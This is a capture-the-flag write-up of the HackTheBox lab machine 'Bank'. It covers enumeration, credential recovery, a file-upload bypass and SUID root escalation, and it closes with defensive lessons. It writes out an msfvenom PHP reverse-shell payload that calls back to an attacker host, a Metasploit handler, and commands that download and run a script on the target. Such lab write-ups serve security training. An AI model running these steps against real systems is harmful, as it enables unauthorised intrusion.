Bank - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Bank is a relatively straightforward machine that emphasizes the importance of thorough web enumeration and virtual host discovery. The attack chain involves identifying a hidden balance-transfer directory containing encrypted files, locating a failed encryption revealing valid credentials, and exploiting a file upload form with improper extension validation. Privilege escalation is trivial once shell access is obtained, leveraging a non-standard SUID binary.

TL;DR: Discover bank.htb virtual host → Enumerate /balance-transfer → Extract credentials from malformed encrypted file → Upload PHP shell via .htb extension bypass → Execute reverse shell → Leverage SUID /var/htb/bin/emergency for root.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.29

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.7

Three services are exposed: SSH, DNS, and HTTP. The Apache web server initially serves only a default page, indicating virtual host routing is in use.

Service Enumeration

HTTP Enumeration:

The initial HTTP response presents a standard Apache landing page with no useful information. However, the machine uses virtual host routing. Testing with the hostname bank.htb reveals a login page:

echo "10.10.10.29 bank.htb" >> /etc/hosts
curl -H "Host: bank.htb" http://10.10.10.29

This reveals an authentication-required login interface.

Directory Enumeration:

Using Dirbuster with the lowercase medium wordlist against bank.htb identifies the /balance-transfer directory containing numerous encrypted account files (.acc extension):

dirbuster -u http://bank.htb -l /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Vulnerability Assessment

1. Virtual Host Misconfiguration: The application relies on hostname-based routing without additional access controls.
2. Weak File Encryption: One encrypted file in /balance-transfer is significantly smaller than others, indicating failed encryption.
3. File Upload Extension Validation Bypass: The application validates uploads against a .htb extension and executes such files as PHP.
4. Privilege Escalation via SUID: A custom SUID binary (/var/htb/bin/emergency) grants root access without proper privilege checks.

Initial Foothold

Exploitation Path

Step 1: Extract Valid Credentials

Among the encrypted files in /balance-transfer, one file is noticeably smaller than the rest. This indicates improper encryption implementation. Examining this file reveals plaintext or partially encrypted credentials:

# Browse to http://bank.htb/balance-transfer/
# Identify the smallest .acc file (appears corrupted)
# Open it in a browser or download to extract credentials
# Example credentials: chris / <password_from_file>

Step 2: Authenticate to Bank Application

Use the extracted credentials to log in to the bank application:

# Navigate to http://bank.htb/login.php
# Enter extracted username and password
# Upon successful authentication, access the Support page

Step 3: Identify Upload Form Vulnerability

The Support page contains a file upload form. Inspecting the HTML source code reveals that files with the .htb extension are executed as PHP:

<!-- Source code inspection -->
<!-- Form accepts .htb files and processes them as PHP -->
<!-- Files are stored in /uploads/ directory -->

Step 4: Generate and Upload PHP Reverse Shell

Create a reverse PHP shell using msfvenom and upload it with a .htb extension:

# Generate reverse shell payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=4444 -f raw > shell.htb

# Upload the shell.htb file via the Support page form

Step 5: Execute the Payload

Once uploaded, trigger execution by browsing to the uploads directory:

# Navigate to http://bank.htb/uploads/shell.htb
# This executes the PHP payload and initiates reverse connection

# On attacker machine, set up listener:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 10.10.14.X
set LPORT 4444
run

Shell obtained as www-data user.

Privilege Escalation

SUID Binary Exploitation

With shell access obtained, identify privilege escalation vectors using LinEnum:

# Download and run LinEnum on the target
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

LinEnum output reveals a non-standard SUID binary:

# LinEnum identifies:
# -rwsr-xr-x /var/htb/bin/emergency

Exploitation:

# Execute the SUID binary
/var/htb/bin/emergency

# This immediately grants root privileges
# Verify with:
id
# uid=0(root) gid=0(root) groups=0(root)

Flag Retrieval:

# User flag
cat /home/chris/user.txt

# Root flag
cat /root/root.txt

Attack Chain Summary

Virtual Host Discovery (bank.htb)
        ↓
Directory Enumeration (/balance-transfer)
        ↓
Credential Extraction (Malformed .acc file)
        ↓
Web Application Authentication
        ↓
File Upload Form Discovery (Support page)
        ↓
Extension Validation Bypass (.htb → PHP execution)
        ↓
Reverse PHP Shell Upload & Execution
        ↓
www-data Shell Access
        ↓
SUID Binary Identification (/var/htb/bin/emergency)
        ↓
Privilege Escalation to Root
        ↓
Flag Capture

Tools Used

Key Learnings

Techniques Practiced

• Virtual host discovery and enumeration
• Identifying weak file encryption implementations
• Analyzing upload form restrictions and bypass techniques
• SUID privilege escalation exploitation
• Reverse shell payload generation and delivery
• Metasploit framework operation

Lessons Learned

1. Enumeration is Critical: Virtual host routing can hide significant portions of an application. Always test alternative hostnames during reconnaissance.

2. File Encryption Validation: Anomalies in encrypted file sizes often indicate failed encryption or improper implementation—these are excellent attack vectors.

3. Upload Form Hardening: Extension whitelisting alone is insufficient; file type validation must be performed server-side with proper MIME type and content verification.

4. SUID Binaries Require Scrutiny: Custom SUID binaries, especially in non-standard locations like /var/htb/bin/, warrant immediate investigation for privilege escalation.

5. Defense-in-Depth: This machine demonstrates the importance of multiple security layers—failed at enumeration, authentication, upload validation, and privilege checks.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>